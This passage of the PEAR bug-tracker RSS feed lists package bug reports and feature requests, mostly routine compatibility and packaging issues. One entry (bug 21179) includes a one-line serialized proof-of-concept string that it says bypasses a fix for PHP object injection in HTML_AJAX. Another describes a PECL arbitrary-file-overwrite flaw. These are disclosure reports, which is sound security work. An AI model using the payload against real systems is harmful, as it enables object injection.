   &lt;file baseinstalldir=&quot;/&quot; md5sum=&quot;93c59d4681e6b8218c93d48da0f1a134&quot; name=&quot;HTML/AJAX/Server.php&quot; role=&quot;php&quot;&gt;
    &lt;tasks:replace from=&quot;@package_version@&quot; to=&quot;version&quot; type=&quot;package-info&quot; /&gt;
&lt;/file&gt;


This prevents HTML_AJAX_Server::clientJsLocation() from working correctly from PEAR installation and consequently breaks handleRequest()

Test script:
---------------
Try running examples from PEAR installation

Expected result:
----------------
Working examples

Actual result:
--------------
Lots of alert()'s</pre>]]></content:encoded>
      <description><![CDATA[<pre>HTML_AJAX Bug
Reported by avb
2017-03-10T09:55:47+00:00
PHP: Irrelevant OS: Irrelevant Package Version: 0.5.8

Description:
------------
package.xml for 0.5.7:

   &lt;file baseinstalldir=&quot;HTML&quot; md5sum=&quot;93c59d4681e6b8218c93d48da0f1a134&quot; name=&quot;AJAX/Server.php&quot; role=&quot;php&quot;&gt;
    &lt;tasks:replace from=&quot;@package_version@&quot; to=&quot;version&quot; type=&quot;package-info&quot; /&gt;
    &lt;tasks:replace from=&quot;@data-dir@&quot; to=&quot;data_dir&quot; type=&quot;pear-config&quot; /&gt;
   &lt;/file&gt;

package.xml for 0.5.8:


   &lt;file baseinstalldir=&quot;/&quot; md5sum=&quot;93c59d4681e6b8218c93d48da0f1a134&quot; name=&quot;HTML/AJAX/Server.php&quot; role=&quot;php&quot;&gt;
    &lt;tasks:replace from=&quot;@package_version@&quot; to=&quot;version&quot; type=&quot;package-info&quot; /&gt;
&lt;/file&gt;


This prevents HTML_AJAX_Server::clientJsLocation() from working correctly from PEAR installation and consequently breaks handleRequest()

Test script:
---------------
Try running examples from PEAR installation

Expected result:
----------------
Working examples

Actual result:
--------------
Lots of alert()'s</pre>]]></description>
      <dc:date>2017-03-10T09:55:47+00:00</dc:date>
      <dc:creator>borz_off &amp;#x61;&amp;#116; cs &amp;#x64;&amp;#111;&amp;#x74; msu &amp;#x64;&amp;#111;&amp;#x74; su</dc:creator>
      <dc:subject>HTML_AJAX Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/21187">
      <title>Date_Holidays_Japan: Bug 21187 [Open] Occurred error &quot;Assigning the return value of new by reference is deprecated&quot;</title>
      <link>http://pear.php.net/bugs/21187</link>
      <content:encoded><![CDATA[<pre>Date_Holidays_Japan Bug
Reported by takoba
2017-02-27T12:03:13+00:00
PHP: 5.5.38 OS: Ubuntu (Amazon Linux AMI) Package Version: 0.1.3

Description:
------------
In Date/Holidays/Driver/Japan.php, Line 328.

```
$date =&amp; new Date($this-&gt;_year . '-05-04');
```

cf.) http://php.net/manual/en/migration53.deprecated.php

Expected result:
----------------
In this case, I think you should assign `new Date()` to `$date` simply.

```
$date = new Date($this-&gt;_year . '-05-04');
```</pre>]]></content:encoded>
      <description><![CDATA[<pre>Date_Holidays_Japan Bug
Reported by takoba
2017-02-27T12:03:13+00:00
PHP: 5.5.38 OS: Ubuntu (Amazon Linux AMI) Package Version: 0.1.3

Description:
------------
In Date/Holidays/Driver/Japan.php, Line 328.

```
$date =&amp; new Date($this-&gt;_year . '-05-04');
```

cf.) http://php.net/manual/en/migration53.deprecated.php

Expected result:
----------------
In this case, I think you should assign `new Date()` to `$date` simply.

```
$date = new Date($this-&gt;_year . '-05-04');
```</pre>]]></description>
      <dc:date>2017-02-27T12:03:13+00:00</dc:date>
      <dc:creator>tobara &amp;#x61;&amp;#116; schoo &amp;#x64;&amp;#111;&amp;#x74; jp</dc:creator>
      <dc:subject>Date_Holidays_Japan Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/21186">
      <title>Auth_HTTP: Bug 21186 [Open] require Auth/HTTP.php failed</title>
      <link>http://pear.php.net/bugs/21186</link>
      <content:encoded><![CDATA[<pre>Auth_HTTP Bug
Reported by dfeng
2017-02-23T14:56:46+00:00
PHP: HEAD SVN-2017-02-23 OS: Ubuntu 16.04 Package Version: 2.1.8

Description:
------------
My php version is 7.0-fpm, I've installed the newest HTTP_AUTH 
but failed to excite a simple script:
&lt;?php
// example of Auth_HTTP basic implementation 

require_once(&quot;Auth/HTTP.php&quot;);
echo 'good';
?&gt;

I only got a blank screen.</pre>]]></content:encoded>
      <description><![CDATA[<pre>Auth_HTTP Bug
Reported by dfeng
2017-02-23T14:56:46+00:00
PHP: HEAD SVN-2017-02-23 OS: Ubuntu 16.04 Package Version: 2.1.8

Description:
------------
My php version is 7.0-fpm, I've installed the newest HTTP_AUTH 
but failed to excite a simple script:
&lt;?php
// example of Auth_HTTP basic implementation 

require_once(&quot;Auth/HTTP.php&quot;);
echo 'good';
?&gt;

I only got a blank screen.</pre>]]></description>
      <dc:date>2017-02-23T14:56:46+00:00</dc:date>
      <dc:creator>david &amp;#x64;&amp;#111;&amp;#x74; feng &amp;#x61;&amp;#116; xflying &amp;#x64;&amp;#111;&amp;#x74; com</dc:creator>
      <dc:subject>Auth_HTTP Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/21185">
      <title>HTTP_Upload: Bug 21185 [Assigned] 1.0.0b4 breaks pearweb</title>
      <link>http://pear.php.net/bugs/21185</link>
      <content:encoded><![CDATA[<pre>HTTP_Upload Bug
Reported by cweiske
2017-02-22T19:11:10+00:00
PHP: Irrelevant OS:  Package Version: 1.0.0b4

Description:
------------
https://github.com/pear/HTML_Common/pull/2 shows the error that occured when I upgraded pear.php.net to HTTP_Upload 1.0.0b4. 

Downgrading to 1.0.0b3 makes it work again.</pre>]]></content:encoded>
      <description><![CDATA[<pre>HTTP_Upload Bug
Reported by cweiske
2017-02-22T19:11:10+00:00
PHP: Irrelevant OS:  Package Version: 1.0.0b4

Description:
------------
https://github.com/pear/HTML_Common/pull/2 shows the error that occured when I upgraded pear.php.net to HTTP_Upload 1.0.0b4. 

Downgrading to 1.0.0b3 makes it work again.</pre>]]></description>
      <dc:date>2017-02-22T19:11:23+00:00</dc:date>
      <dc:creator>cweiske &amp;#x61;&amp;#116; php &amp;#x64;&amp;#111;&amp;#x74; net</dc:creator>
      <dc:subject>HTTP_Upload Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/21179">
      <title>HTML_AJAX: Bug 21179 [Open] PHP Object Injection through PHP Serializer</title>
      <link>http://pear.php.net/bugs/21179</link>
      <content:encoded><![CDATA[<pre>HTML_AJAX Bug
Reported by ryat
2017-02-07T00:09:44+00:00
PHP: Irrelevant OS:  Package Version: 0.5.8

Description:
------------
The fixes for bug#21165 can be bypassed since PHP's deserialization 
parser quirks.

PoC:
```
o:1:&quot;i:0;i:1;}
```</pre>]]></content:encoded>
      <description><![CDATA[<pre>HTML_AJAX Bug
Reported by ryat
2017-02-07T00:09:44+00:00
PHP: Irrelevant OS:  Package Version: 0.5.8

Description:
------------
The fixes for bug#21165 can be bypassed since PHP's deserialization 
parser quirks.

PoC:
```
o:1:&quot;i:0;i:1;}
```</pre>]]></description>
      <dc:date>2017-02-07T00:09:44+00:00</dc:date>
      <dc:creator>ryat &amp;#x61;&amp;#116; php &amp;#x64;&amp;#111;&amp;#x74; net</dc:creator>
      <dc:subject>HTML_AJAX Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/21175">
      <title>OLE: Bug 21175 [Open] Corrupt OLE header generated for files approximately 7mb in size.</title>
      <link>http://pear.php.net/bugs/21175</link>
      <content:encoded><![CDATA[<pre>OLE Bug
Reported by obarshay
2017-02-02T08:01:22+00:00
PHP: Irrelevant OS:  Package Version: 1.0.0RC2

Description:
------------
When the total number of block pointers is 109 (the number that can fit 
in the header), an extension block pointer is added to the header. To fix, 
make the following change to Root.php:259

        if ($iBdCnt &lt; $i1stBdL) {

to:
        if ($iBdCnt &lt;= $i1stBdL) {</pre>]]></content:encoded>
      <description><![CDATA[<pre>OLE Bug
Reported by obarshay
2017-02-02T08:01:22+00:00
PHP: Irrelevant OS:  Package Version: 1.0.0RC2

Description:
------------
When the total number of block pointers is 109 (the number that can fit 
in the header), an extension block pointer is added to the header. To fix, 
make the following change to Root.php:259

        if ($iBdCnt &lt; $i1stBdL) {

to:
        if ($iBdCnt &lt;= $i1stBdL) {</pre>]]></description>
      <dc:date>2018-10-31T06:11:02+00:00</dc:date>
      <dc:creator>oleg &amp;#x61;&amp;#116; barshaysoftware &amp;#x64;&amp;#111;&amp;#x74; com</dc:creator>
      <dc:subject>OLE Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/21173">
      <title>XML_Serializer: Feature/Change Request 21173 [Open] XML unserializing with namespaced class names using tagmap</title>
      <link>http://pear.php.net/bugs/21173</link>
      <content:encoded><![CDATA[<pre>XML_Serializer Feature/Change Request
Reported by archana_m
2017-01-30T05:06:53+00:00
PHP: 5.5.24 OS: Windows 7 Package Version: SVN

Description:
------------
I am trying to deserialize xml into object using namespaced classes. 
mentioning structure which is expected as below. Please help me 
with it if there is any possible solution or any option changes 
required in unserializing options. My current defined options are as 
follows:

public $options_unserialize = array (
			// Defines whether nested tags should be returned 
as associative arrays or objects.
			XML_UNSERIALIZER_OPTION_COMPLEXTYPE =&gt; 
'object',
			
			// use the tagname as the classname
			
XML_UNSERIALIZER_OPTION_TAG_AS_CLASSNAME =&gt; true,
			
			// specify the target encoding
			
XML_UNSERIALIZER_OPTION_ENCODING_TARGET =&gt; &quot;UTF-8&quot;,
			
			// unserialize() returns the result of the 
unserialization instead of true
			XML_UNSERIALIZER_OPTION_RETURN_RESULT 
=&gt; true,
			
			// remove whitespace around data
			XML_UNSERIALIZER_OPTION_WHITESPACE =&gt; 
XML_UNSERIALIZER_WHITESPACE_TRIM,
			
			 
XML_UNSERIALIZER_OPTION_ATTRIBUTES_PARSE    =&gt; true
		);

Test script:
---------------
$tagMapArray = array(&quot;Foo&quot; =&gt; &quot;MyNameSpace\Classes\Foo&quot;, &quot;Bar&quot;=&gt;&quot;MyNameSpace\Classes\Bar&quot;);

$this-&gt;options_unserialize['tagMap'] = $tagMapArray;

$unserializer = new XML_Unserializer($this-&gt;options_unserialize);
$result_unserialize = $unserializer-&gt;unserialize($xmlResponse,false);



Expected result:
----------------
[Foo] =&gt; MyNameSpace\Classes\Foo Object
		(
			[Bar] =&gt; MyNameSpace\Classes\Bar Object
						(
							[Name] =&gt; &quot;ABC&quot;
						)
		)
		

Actual result:
--------------
[Foo]=&gt;
[MyNameSpace\Classes\Foo] =&gt; MyNameSpace\Classes\Foo Object
		(
	[Bar] =&gt;			
	[MyNameSpace\Classes\Bar] =&gt; MyNameSpace\Classes\Bar 
Object
						(
							[Name] =&gt; &quot;ABC&quot;
						)

				)

		)</pre>]]></content:encoded>
      <description><![CDATA[<pre>XML_Serializer Feature/Change Request
Reported by archana_m
2017-01-30T05:06:53+00:00
PHP: 5.5.24 OS: Windows 7 Package Version: SVN

Description:
------------
I am trying to deserialize xml into object using namespaced classes. 
mentioning structure which is expected as below. Please help me 
with it if there is any possible solution or any option changes 
required in unserializing options. My current defined options are as 
follows:

public $options_unserialize = array (
			// Defines whether nested tags should be returned 
as associative arrays or objects.
			XML_UNSERIALIZER_OPTION_COMPLEXTYPE =&gt; 
'object',
			
			// use the tagname as the classname
			
XML_UNSERIALIZER_OPTION_TAG_AS_CLASSNAME =&gt; true,
			
			// specify the target encoding
			
XML_UNSERIALIZER_OPTION_ENCODING_TARGET =&gt; &quot;UTF-8&quot;,
			
			// unserialize() returns the result of the 
unserialization instead of true
			XML_UNSERIALIZER_OPTION_RETURN_RESULT 
=&gt; true,
			
			// remove whitespace around data
			XML_UNSERIALIZER_OPTION_WHITESPACE =&gt; 
XML_UNSERIALIZER_WHITESPACE_TRIM,
			
			 
XML_UNSERIALIZER_OPTION_ATTRIBUTES_PARSE    =&gt; true
		);

Test script:
---------------
$tagMapArray = array(&quot;Foo&quot; =&gt; &quot;MyNameSpace\Classes\Foo&quot;, &quot;Bar&quot;=&gt;&quot;MyNameSpace\Classes\Bar&quot;);

$this-&gt;options_unserialize['tagMap'] = $tagMapArray;

$unserializer = new XML_Unserializer($this-&gt;options_unserialize);
$result_unserialize = $unserializer-&gt;unserialize($xmlResponse,false);



Expected result:
----------------
[Foo] =&gt; MyNameSpace\Classes\Foo Object
		(
			[Bar] =&gt; MyNameSpace\Classes\Bar Object
						(
							[Name] =&gt; &quot;ABC&quot;
						)
		)
		

Actual result:
--------------
[Foo]=&gt;
[MyNameSpace\Classes\Foo] =&gt; MyNameSpace\Classes\Foo Object
		(
	[Bar] =&gt;			
	[MyNameSpace\Classes\Bar] =&gt; MyNameSpace\Classes\Bar 
Object
						(
							[Name] =&gt; &quot;ABC&quot;
						)

				)

		)</pre>]]></description>
      <dc:date>2017-01-30T05:42:09+00:00</dc:date>
      <dc:creator>archana &amp;#x64;&amp;#111;&amp;#x74; mulye &amp;#x61;&amp;#116; gmail &amp;#x64;&amp;#111;&amp;#x74; com</dc:creator>
      <dc:subject>XML_Serializer Feature/Change Request</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/21172">
      <title>Config: Bug 21172 [Open] not working on PHP 7.1</title>
      <link>http://pear.php.net/bugs/21172</link>
      <content:encoded><![CDATA[<pre>Config Bug
Reported by decaen
2017-01-26T10:21:10+00:00
PHP: Irrelevant OS: Linux Package Version: 

Description:
------------
&amp;new is not supported in PHP 7.1 could you please replace it with new.


Test script:
---------------
diff -u XML.php-orig XML.php
--- XML.php-orig        2017-01-25 21:10:34.000000000 +0100
+++ XML.php     2017-01-25 21:10:45.000000000 +0100
@@ -131,7 +131,7 @@
     */
     function startHandler($xp, $elem, &amp;$attribs)
     {
-        $container =&amp; new Config_Container('section', $elem, null, $attribs);
+        $container = new Config_Container('section', $elem, null, $attribs);
         $this-&gt;containers[] =&amp; $container;
         return null;
     } // end func startHandler


Expected result:
----------------
no parse error

Actual result:
--------------
PHP Parse error:  syntax error, unexpected 'new' (T_NEW) in /usr/lib/php-7.1/lib/php/Config/Container/XML.php on line 134</pre>]]></content:encoded>
      <description><![CDATA[<pre>Config Bug
Reported by decaen
2017-01-26T10:21:10+00:00
PHP: Irrelevant OS: Linux Package Version: 

Description:
------------
&amp;new is not supported in PHP 7.1 could you please replace it with new.


Test script:
---------------
diff -u XML.php-orig XML.php
--- XML.php-orig        2017-01-25 21:10:34.000000000 +0100
+++ XML.php     2017-01-25 21:10:45.000000000 +0100
@@ -131,7 +131,7 @@
     */
     function startHandler($xp, $elem, &amp;$attribs)
     {
-        $container =&amp; new Config_Container('section', $elem, null, $attribs);
+        $container = new Config_Container('section', $elem, null, $attribs);
         $this-&gt;containers[] =&amp; $container;
         return null;
     } // end func startHandler


Expected result:
----------------
no parse error

Actual result:
--------------
PHP Parse error:  syntax error, unexpected 'new' (T_NEW) in /usr/lib/php-7.1/lib/php/Config/Container/XML.php on line 134</pre>]]></description>
      <dc:date>2017-02-01T18:33:29+00:00</dc:date>
      <dc:creator>ed &amp;#x61;&amp;#116; xsalto &amp;#x64;&amp;#111;&amp;#x74; com</dc:creator>
      <dc:subject>Config Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/21171">
      <title>PEAR: Bug 21171 [Open] PECL Arbitrary File Download Vulnerability</title>
      <link>http://pear.php.net/bugs/21171</link>
      <content:encoded><![CDATA[<pre>PEAR Bug
Reported by hyp3rlinx
2017-01-26T03:10:42+00:00
PHP: 5.6.30 OS:  Package Version: 1.10.1

Description:
------------
I sent initial report Jan 11, 2017, was informed to open a bug so users 
are aware, as nobody is avail to &quot;fix&quot; or maintain this package.

Security issue: pecl download &lt;http://file&gt;

1) PECL will follow redirects and download arbitrary files with completely 
different names of the initially requested target file (when files are sent 
in response from an attacker controlled position).

2) PECL does not rename the file to the originally requested (safe) 
filename.

3) Whatever file is downloaded will overwrite whats on users system, so 
attacker can overwrite files like &quot;.htaccess&quot; if request is from webroot 
etc..

4) PECL doesn't delete these invalid files on downloads.

Regards, hyp3rlinx</pre>]]></content:encoded>
      <description><![CDATA[<pre>PEAR Bug
Reported by hyp3rlinx
2017-01-26T03:10:42+00:00
PHP: 5.6.30 OS:  Package Version: 1.10.1

Description:
------------
I sent initial report Jan 11, 2017, was informed to open a bug so users 
are aware, as nobody is avail to &quot;fix&quot; or maintain this package.

Security issue: pecl download &lt;http://file&gt;

1) PECL will follow redirects and download arbitrary files with completely 
different names of the initially requested target file (when files are sent 
in response from an attacker controlled position).

2) PECL does not rename the file to the originally requested (safe) 
filename.

3) Whatever file is downloaded will overwrite whats on users system, so 
attacker can overwrite files like &quot;.htaccess&quot; if request is from webroot 
etc..

4) PECL doesn't delete these invalid files on downloads.

Regards, hyp3rlinx</pre>]]></description>
      <dc:date>2017-01-26T03:10:42+00:00</dc:date>
      <dc:creator>apparitionsec &amp;#x61;&amp;#116; gmail &amp;#x64;&amp;#111;&amp;#x74; com</dc:creator>
      <dc:subject>PEAR Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/21162">
      <title>MP3_IDv2: Feature/Change Request 21162 [Open] empty repository</title>
      <link>http://pear.php.net/bugs/21162</link>
      <content:encoded><![CDATA[<pre>MP3_IDv2 Feature/Change Request
Reported by gemorroj
2017-01-14T13:12:27+00:00
PHP: Irrelevant OS:  Package Version: Unknown

Description:
------------
https://github.com/pear/MP3_IDv2
is empty repo. need move code to this repo.</pre>]]></content:encoded>
      <description><![CDATA[<pre>MP3_IDv2 Feature/Change Request
Reported by gemorroj
2017-01-14T13:12:27+00:00
PHP: Irrelevant OS:  Package Version: Unknown

Description:
------------
https://github.com/pear/MP3_IDv2
is empty repo. need move code to this repo.</pre>]]></description>
      <dc:date>2017-01-14T13:12:27+00:00</dc:date>
      <dc:creator>wapinet &amp;#x61;&amp;#116; mail &amp;#x64;&amp;#111;&amp;#x74; ru</dc:creator>
      <dc:subject>MP3_IDv2 Feature/Change Request</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/21160">
      <title>XML_Feed_Parser: Feature/Change Request 21160 [Open] Publish on packagist.org</title>
      <link>http://pear.php.net/bugs/21160</link>
      <content:encoded><![CDATA[<pre>XML_Feed_Parser Feature/Change Request
Reported by pips
2017-01-06T13:12:32+00:00
PHP: Irrelevant OS: irrelevant Package Version: 1.0.5

Description:
------------
The repository (https://github.com/pear/XML_Feed_Parser) seems to have a composer.json file in order to make a composer package, but I can't find it on packagist. (https://packagist.org/packages/pear/)

Is it possible to publish the package there, please?</pre>]]></content:encoded>
      <description><![CDATA[<pre>XML_Feed_Parser Feature/Change Request
Reported by pips
2017-01-06T13:12:32+00:00
PHP: Irrelevant OS: irrelevant Package Version: 1.0.5

Description:
------------
The repository (https://github.com/pear/XML_Feed_Parser) seems to have a composer.json file in order to make a composer package, but I can't find it on packagist. (https://packagist.org/packages/pear/)

Is it possible to publish the package there, please?</pre>]]></description>
      <dc:date>2017-01-06T13:12:32+00:00</dc:date>
      <dc:creator>pips &amp;#x61;&amp;#116; e5150 &amp;#x64;&amp;#111;&amp;#x74; fr</dc:creator>
      <dc:subject>XML_Feed_Parser Feature/Change Request</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/21157">
      <title>PEAR_PackageFileManager2: Feature/Change Request 21157 [Open] Move source to GitHub</title>
      <link>http://pear.php.net/bugs/21157</link>
      <content:encoded><![CDATA[<pre>PEAR_PackageFileManager2 Feature/Change Request
Reported by garrettw
2016-12-16T21:23:59+00:00
PHP: Irrelevant OS:  Package Version: SVN

Description:
------------
Could you put in a request to have this project's code moved to GitHub like 
most of the others? It would make it easier for others to contribute.</pre>]]></content:encoded>
      <description><![CDATA[<pre>PEAR_PackageFileManager2 Feature/Change Request
Reported by garrettw
2016-12-16T21:23:59+00:00
PHP: Irrelevant OS:  Package Version: SVN

Description:
------------
Could you put in a request to have this project's code moved to GitHub like 
most of the others? It would make it easier for others to contribute.</pre>]]></description>
      <dc:date>2016-12-16T21:23:59+00:00</dc:date>
      <dc:creator>gw &amp;#x61;&amp;#116; garrettw &amp;#x64;&amp;#111;&amp;#x74; net</dc:creator>
      <dc:subject>PEAR_PackageFileManager2 Feature/Change Request</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/21153">
      <title>Net_URL2: Bug 21153 [Open] When OPTION_ENCODE_KEYS is set to true, some brackets ([ and ]) arent' encoded</title>
      <link>http://pear.php.net/bugs/21153</link>
      <content:encoded><![CDATA[<pre>Net_URL2 Bug
Reported by jayklehr
2016-12-10T00:52:20+00:00
PHP: 5.6.27 OS: osx Package Version: 2.1.2

Description:
------------
I noticed when running some tests against Net_URL2 that stray/non-matching brackets (like those used in the query string test of the library) are encoded with %5B and %5D, but if the brackets are the result of building from a PHP array, they're not encoded.

This appears to be because of this line in URL2.php:

&gt; $name = $key . '[' . $name . ']';

The `rawurlencode` for the $key parameter happens earlier in this method, so the brackets remain untouched.

Test script:
---------------
&lt;?php

$url = new Net_URL2('');

$url-&gt;setQuery('key1[=value&amp;key2[]=value');
$vars = $url-&gt;getQueryVariables();

$url-&gt;setQueryVariables($vars);
$newString = $url-&gt;getQuery();

var_export($newString);

Expected result:
----------------
'key1%5B=value&amp;key2%5B%5D=value'

Actual result:
--------------
'key1%5B=value&amp;key2[]=value'</pre>]]></content:encoded>
      <description><![CDATA[<pre>Net_URL2 Bug
Reported by jayklehr
2016-12-10T00:52:20+00:00
PHP: 5.6.27 OS: osx Package Version: 2.1.2

Description:
------------
I noticed when running some tests against Net_URL2 that stray/non-matching brackets (like those used in the query string test of the library) are encoded with %5B and %5D, but if the brackets are the result of building from a PHP array, they're not encoded.

This appears to be because of this line in URL2.php:

&gt; $name = $key . '[' . $name . ']';

The `rawurlencode` for the $key parameter happens earlier in this method, so the brackets remain untouched.

Test script:
---------------
&lt;?php

$url = new Net_URL2('');

$url-&gt;setQuery('key1[=value&amp;key2[]=value');
$vars = $url-&gt;getQueryVariables();

$url-&gt;setQueryVariables($vars);
$newString = $url-&gt;getQuery();

var_export($newString);

Expected result:
----------------
'key1%5B=value&amp;key2%5B%5D=value'

Actual result:
--------------
'key1%5B=value&amp;key2[]=value'</pre>]]></description>
      <dc:date>2016-12-10T00:52:20+00:00</dc:date>
      <dc:creator>jay &amp;#x61;&amp;#116; diablomedia &amp;#x64;&amp;#111;&amp;#x74; com</dc:creator>
      <dc:subject>Net_URL2 Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/21150">
      <title>DB_DataObject: Bug 21150 [Open] Please sign the source package</title>
      <link>http://pear.php.net/bugs/21150</link>
      <content:encoded><![CDATA[<pre>DB_DataObject Bug
Reported by rajasekhar
2016-11-26T16:24:14+00:00
PHP: Irrelevant OS: Debian Package Version: 1.11.5

Description:
------------
Hello Team,

Please sign the package using PGP keys, so that no third party has the code modified agaisnt your wishes after a release. Thank you.
Reference for OpenPGP best practices:
https://help.riseup.net/en/security/message-security/openpgp/best-practices. https://mikegerwitz.com/papers/git-horror-story.</pre>]]></content:encoded>
      <description><![CDATA[<pre>DB_DataObject Bug
Reported by rajasekhar
2016-11-26T16:24:14+00:00
PHP: Irrelevant OS: Debian Package Version: 1.11.5

Description:
------------
Hello Team,

Please sign the package using PGP keys, so that no third party has the code modified agaisnt your wishes after a release. Thank you.
Reference for OpenPGP best practices:
https://help.riseup.net/en/security/message-security/openpgp/best-practices. https://mikegerwitz.com/papers/git-horror-story.</pre>]]></description>
      <dc:date>2016-11-26T16:24:14+00:00</dc:date>
      <dc:creator>rajasekhar &amp;#x61;&amp;#116; swecha &amp;#x64;&amp;#111;&amp;#x74; net</dc:creator>
      <dc:subject>DB_DataObject Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/21147">
      <title>MDB2_Driver_odbc: Bug 21147 [Open] function errorInfo uses MSSQLisms</title>
      <link>http://pear.php.net/bugs/21147</link>
      <content:encoded><![CDATA[<pre>MDB2_Driver_odbc Bug
Reported by christian_gfk
2016-11-08T11:51:32+00:00
PHP: Irrelevant OS: RHEL 6.6 Package Version: 0.2.0

Description:
------------
The function to get error information uses a feature specific to Microsoft 
SQL Server: &quot;SELECT @@ERROR&quot;.
This is not supported on other RDBMS, and leads to every session run 
through MDB2_driver_odbc to eventually run into an error because &quot;SELECT 
@@ERROR&quot; is not a valid SQL statement for them.

Expected result:
----------------
I don't know if a more generic solution exists (is PHP's odbc_error() 
appropriate? odbc_errormsg() is already being used). If one is available, it 
should be used instead. Otherwise the implicit &quot;SELECT @@ERROR&quot; 
statement should be removed.</pre>]]></content:encoded>
      <description><![CDATA[<pre>MDB2_Driver_odbc Bug
Reported by christian_gfk
2016-11-08T11:51:32+00:00
PHP: Irrelevant OS: RHEL 6.6 Package Version: 0.2.0

Description:
------------
The function to get error information uses a feature specific to Microsoft 
SQL Server: &quot;SELECT @@ERROR&quot;.
This is not supported on other RDBMS, and leads to every session run 
through MDB2_driver_odbc to eventually run into an error because &quot;SELECT 
@@ERROR&quot; is not a valid SQL statement for them.

Expected result:
----------------
I don't know if a more generic solution exists (is PHP's odbc_error() 
appropriate? odbc_errormsg() is already being used). If one is available, it 
should be used instead. Otherwise the implicit &quot;SELECT @@ERROR&quot; 
statement should be removed.</pre>]]></description>
      <dc:date>2016-11-08T11:51:32+00:00</dc:date>
      <dc:creator>christian &amp;#x64;&amp;#111;&amp;#x74; wiese &amp;#x61;&amp;#116; gfk &amp;#x64;&amp;#111;&amp;#x74; com</dc:creator>
      <dc:subject>MDB2_Driver_odbc Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/21129">
      <title>File_Ogg: Feature/Change Request 21129 [Assigned] Publish File_Ogg on packagst</title>
      <link>http://pear.php.net/bugs/21129</link>
      <content:encoded><![CDATA[<pre>File_Ogg Feature/Change Request
Reported by reedy
2016-10-15T20:34:25+00:00
PHP: Irrelevant OS: n/a Package Version: 0.3.1

Description:
------------
Can you please publish File_Ogg on packagist like other PEAR packages are?

Thanks!</pre>]]></content:encoded>
      <description><![CDATA[<pre>File_Ogg Feature/Change Request
Reported by reedy
2016-10-15T20:34:25+00:00
PHP: Irrelevant OS: n/a Package Version: 0.3.1

Description:
------------
Can you please publish File_Ogg on packagist like other PEAR packages are?

Thanks!</pre>]]></description>
      <dc:date>2016-10-15T23:06:21+00:00</dc:date>
      <dc:creator>sam &amp;#x61;&amp;#116; reedyboy &amp;#x64;&amp;#111;&amp;#x74; net</dc:creator>
      <dc:subject>File_Ogg Feature/Change Request</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/21122">
      <title>MDB2_Driver_mysqli: Feature/Change Request 21122 [Open] SSL connections using mysqlnd as client require server auth.</title>
      <link>http://pear.php.net/bugs/21122</link>
      <content:encoded><![CDATA[<pre>MDB2_Driver_mysqli Feature/Change Request
Reported by smada
2016-10-05T22:26:27+00:00
PHP: Irrelevant OS: Ubuntu Package Version: 1.5.0b4

Description:
------------
According to the documentation here 
(http://us3.php.net/manual/en/mysqli.options.php), MySQLi allows a flag 
for not verifying the server certificate 
(MYSQLI_OPT_SSL_VERIFY_SERVER_CERT).  However, I don't think that 
flag is being used by the mysqlnd client.  Instead, according to the 
documentation (http://us3.php.net/manual/en/mysqli.real-connect.php), 
there is a new flag required to connect using SSL and to not verify the 
server certificate.  The flag is passed as a parameter to 
mysqli_real_connect, which means the code in MDB2_Driver_mysqli 
needs to be changed, since it currently doesn't use that parameter at all.

Test script:
---------------
    $dsn = 'mysqli://user:password@server/db?key=client-key.pem&amp;cert=client-cert.pem';
    $options = array('ssl' =&gt; true, 'dont_verify_cert' =&gt; true);
    $db = MDB2::connect($dsn, $options);


Expected result:
----------------
Should connect using ssl.

Actual result:
--------------
Fails to connect.</pre>]]></content:encoded>
      <description><![CDATA[<pre>MDB2_Driver_mysqli Feature/Change Request
Reported by smada
2016-10-05T22:26:27+00:00
PHP: Irrelevant OS: Ubuntu Package Version: 1.5.0b4

Description:
------------
According to the documentation here 
(http://us3.php.net/manual/en/mysqli.options.php), MySQLi allows a flag 
for not verifying the server certificate 
(MYSQLI_OPT_SSL_VERIFY_SERVER_CERT).  However, I don't think that 
flag is being used by the mysqlnd client.  Instead, according to the 
documentation (http://us3.php.net/manual/en/mysqli.real-connect.php), 
there is a new flag required to connect using SSL and to not verify the 
server certificate.  The flag is passed as a parameter to 
mysqli_real_connect, which means the code in MDB2_Driver_mysqli 
needs to be changed, since it currently doesn't use that parameter at all.

Test script:
---------------
    $dsn = 'mysqli://user:password@server/db?key=client-key.pem&amp;cert=client-cert.pem';
    $options = array('ssl' =&gt; true, 'dont_verify_cert' =&gt; true);
    $db = MDB2::connect($dsn, $options);


Expected result:
----------------
Should connect using ssl.

Actual result:
--------------
Fails to connect.</pre>]]></description>
      <dc:date>2016-10-05T22:26:27+00:00</dc:date>
      <dc:creator>radams &amp;#x61;&amp;#116; circlepix &amp;#x64;&amp;#111;&amp;#x74; com</dc:creator>
      <dc:subject>MDB2_Driver_mysqli Feature/Change Request</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/21117">
      <title>Mail: Bug 21117 [Open] Mitigate STRIPTLS Attack Vector</title>
      <link>http://pear.php.net/bugs/21117</link>
      <content:encoded><![CDATA[<pre>Mail Bug
Reported by noyb
2016-09-15T00:42:41+00:00
PHP: 5.6.25 OS: FreeBSD 11.0-RC2 Package Version: 1.3.0

Description:
------------
 
Please add option to specify that TLS is required so that if the server does not support STARTTLS mail client will not continue with an unsecure connection.
 
Opportunistic TLS aka STARTTLS
Weaknesses and Mitigations
https://en.wikipedia.org/wiki/Opportunistic_TLS#Weaknesses_and_mitigations
 
&quot;STRIPTLS attacks can be blocked by configuring SMTP clients to require TLS for outgoing connections (for example, the Exim Message transfer agent can require TLS via the directive &quot;hosts_require_tls&quot; [12]).&quot;
 
